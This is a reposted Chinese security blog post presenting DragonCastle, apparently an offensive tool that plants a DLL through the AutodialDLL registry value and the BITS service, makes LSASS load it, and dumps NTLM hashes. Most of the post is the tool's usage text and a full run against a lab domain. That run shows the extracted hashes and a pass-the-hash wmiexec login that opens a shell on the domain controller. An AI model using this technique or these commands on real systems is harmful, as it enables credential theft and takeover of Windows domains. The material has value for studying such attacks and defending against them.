从 LSASS 进程中抓取 NTLM 哈希

渗透技巧 1年前 (2023) admin
411 0 0

描述

        将 DLL 上传到目标机器。然后它使远程注册表能够修改 AutodialDLL 条目并启动/重新启动 BITS 服务。Svchosts 将加载我们的 DLL,再次将 AutodiaDLL 设置为默认值并执行 RPC 请求以强制 LSASS 加载与安全支持提供程序相同的 DLL。一旦 DLL 被 LSASS 加载,它将在进程内存中搜索以提取 NTLM 哈希和密钥/IV。

DLLMain 总是返回False,因此进程不会保留它。

        它仅在RunAsPPL未启用时有效。此外,我只是添加了对解密 3DES 的支持,因为我很懒,但是添加 AES 代码应该很容易。出于同样的原因,我只实现了对下一个 Windows 版本的支持:

从 LSASS 进程中抓取 NTLM 哈希

        签名/偏移量/结构取自 Mimikatz。如果你想添加一个新版本,只需检查 Mimikatz 上的 sekurlsa 功能。


用法

psyconauta@insulanova:~/Research/dragoncastle|⇒  python3 dragoncastle.py -h                                                                                                                                                DragonCastle - @TheXC3LL

usage: dragoncastle.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes [LMHASH]:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address] [-local-dll dll to plant] [-remote-dll dll location]
DragonCastle - A credential dumper (@TheXC3LL)
optional arguments: -h, --help show this help message and exit -u USERNAME, --username USERNAME valid username -p PASSWORD, --password PASSWORD valid password (if omitted, it will be asked unless -no-pass) -d DOMAIN, --domain DOMAIN valid domain name -hashes [LMHASH]:NTHASH NT/LM hashes (LM hash can be empty) -no-pass don't ask for password (useful for -k) -k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line -dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter -target-ip ip address IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it -local-dll dll to plant DLL location (local) that will be planted on target -remote-dll dll location Path used to update AutodialDLL registry value

Windows 服务器192.168.56.20和域控制器192.168.56.10

psyconauta@insulanova:~/Research/dragoncastle|⇒  python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll "c:dump.dll" -local-dll DragonCastle.dll                              DragonCastle - @TheXC3LL

[+] Connecting to 192.168.56.20[+] Uploading DragonCastle.dll to c:dump.dll[+] Checking Remote Registry service status...[+] Service is down![+] Starting Remote Registry service...[+] Connecting to 192.168.56.20[+] Updating AutodialDLL value[+] Stopping Remote Registry Service[+] Checking BITS service status...[+] Service is down![+] Starting BITS service[+] Downloading creds[+] Deleting credential file[+] Parsing creds:
============----User: vagrantDomain: WINTERFELL----User: vagrantDomain: WINTERFELL----User: eddard.starkDomain: SEVENKINGDOMSNTLM: d977b98c6c9282c5c478be1d97b237b8----User: eddard.starkDomain: SEVENKINGDOMSNTLM: d977b98c6c9282c5c478be1d97b237b8----User: vagrantDomain: WINTERFELLNTLM: e02bc503339d51f71d913c245d35b50b----User: DWM-1Domain: Window ManagerNTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590----User: DWM-1Domain: Window ManagerNTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590----User: WINTERFELL$Domain: SEVENKINGDOMSNTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590----User: UMFD-0Domain: Font Driver HostNTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590----User: Domain: NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590----User: Domain:
============[+] Deleting DLL
[^] Have a nice day!
psyconauta@insulanova:~/Research/dragoncastle|⇒  wmiexec.py -hashes :d977b98c6c9282c5c478be1d97b237b8 SEVENKINGDOMS/eddard.stark@192.168.56.10          Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] SMBv3.0 dialect used[!] Launching semi-interactive shell - Careful what you execute[!] Press help for extra shell commandsC:>whoamisevenkingdomseddard.stark
C:>whoami /priv
PRIVILEGES INFORMATION----------------------
Privilege Name Description State ========================================= ================================================================== =======SeIncreaseQuotaPrivilege Adjust memory quotas for a process EnabledSeMachineAccountPrivilege Add workstations to domain EnabledSeSecurityPrivilege Manage auditing and security log EnabledSeTakeOwnershipPrivilege Take ownership of files or other objects EnabledSeLoadDriverPrivilege Load and unload device drivers EnabledSeSystemProfilePrivilege Profile system performance EnabledSeSystemtimePrivilege Change the system time EnabledSeProfileSingleProcessPrivilege Profile single process EnabledSeIncreaseBasePriorityPrivilege Increase scheduling priority EnabledSeCreatePagefilePrivilege Create a pagefile EnabledSeBackupPrivilege Back up files and directories EnabledSeRestorePrivilege Restore files and directories EnabledSeShutdownPrivilege Shut down the system EnabledSeDebugPrivilege Debug programs EnabledSeSystemEnvironmentPrivilege Modify firmware environment values EnabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeRemoteShutdownPrivilege Force shutdown from a remote system EnabledSeUndockPrivilege Remove computer from docking station EnabledSeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation EnabledSeManageVolumePrivilege Perform volume maintenance tasks EnabledSeImpersonatePrivilege Impersonate a client after authentication EnabledSeCreateGlobalPrivilege Create global objects EnabledSeIncreaseWorkingSetPrivilege Increase a process working set EnabledSeTimeZonePrivilege Change the time zone EnabledSeCreateSymbolicLinkPrivilege Create symbolic links EnabledSeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

原文始发于微信公众号(Khan安全攻防实验室):从 LSASS 进程中抓取 NTLM 哈希

版权声明:admin 发表于 2023年2月7日 上午8:35。
转载请注明:从 LSASS 进程中抓取 NTLM 哈希 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...